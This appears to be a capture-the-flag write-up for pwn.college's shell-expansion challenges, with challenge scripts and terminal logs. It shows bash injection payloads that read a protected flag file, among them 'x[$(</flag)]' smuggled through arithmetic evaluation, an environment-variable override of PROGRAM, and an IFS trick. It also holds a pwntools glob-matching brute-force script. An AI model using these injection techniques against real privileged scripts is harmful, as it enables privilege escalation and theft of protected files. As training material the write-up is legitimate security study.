The shell is as mysterious as it is powerful. As a first stop in our
journey, we will explore concepts of variable expansion, the pitfalls
around quoting (and lack thereof!), and the raw power of globbing. Stay
strong, and follow the PATH.
echo"Goodbye!" ubuntu@expansion~path-of-the-unquoted:~$ ta no sessions [exited] ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a' pwn.college{****************************************} Goodbye!
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 1 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
declare -- "$1"="$2" $PROGRAM ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
[ "$1" = "PROGRAM" ] && exit 4 declare -- "$1"="$2" $PROGRAM ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]""/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~dance-of-the-delimiters:~$ echo'#!/bin/bash' > /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ echo'cat /flag' >> /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") Today is the last day of your life so far.
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") /challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") To be or not to be. -- Shakespeare To do is to be. -- Nietzsche To be is to do. -- Sartre Do be do be do. -- Sinatra
if [[ "$#" -ne 1 ]] then echo"Usage: $0 SKILL_LEVEL" exit 1 fi
if [[ "$1" -eq 1337 ]] then echo"Not skilled enough!" exit 2 fi
echo"You are quite skilled!"
1 2 3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]' /challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") You are quite skilled!
Your Shattered Sanity
word splitting
Arithmetic Evaluation Error
当 -v 操作符去检查一个带有数组下标的变量时(例如 -v
var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值
(Arithmetic Evaluation)
charset = string.printable.strip().replace("*", "").replace("?", "") flag = "pwn.college{"
for attempt in itertools.count(start=1): print(f"Attempt {attempt}: {flag}") for c in charset: # 用 /dev/shm 来传递数据提高 I/O 速度 # or /tmp with open("/dev/shm/tmp", "w") as f: f.write(flag + c + "*") p = process(["/challenge/run", "/dev/shm/tmp"]) if b"Got it!"in p.recvall(timeout=1): flag += c if"}" == c: print(f"\n[+] Flag: {flag}") exit(0) break
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success! Here's part of the flag:" cat /flag | head -c10 else echo"Wrong!" cat /flag | md5sum fi
# props to HyperCube for the idea for this challenge
# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...
PATH=/usr/bin RESPONSE="$1"
exec 2>/dev/null # props to amateurhour for this unintended solve
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == RANDOM )) then echo"Success!" cat /flag else echo"Wrong!" rm /flag fi
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success!" cat /flag else echo"Wrong!" #cat /flag | md5sum fi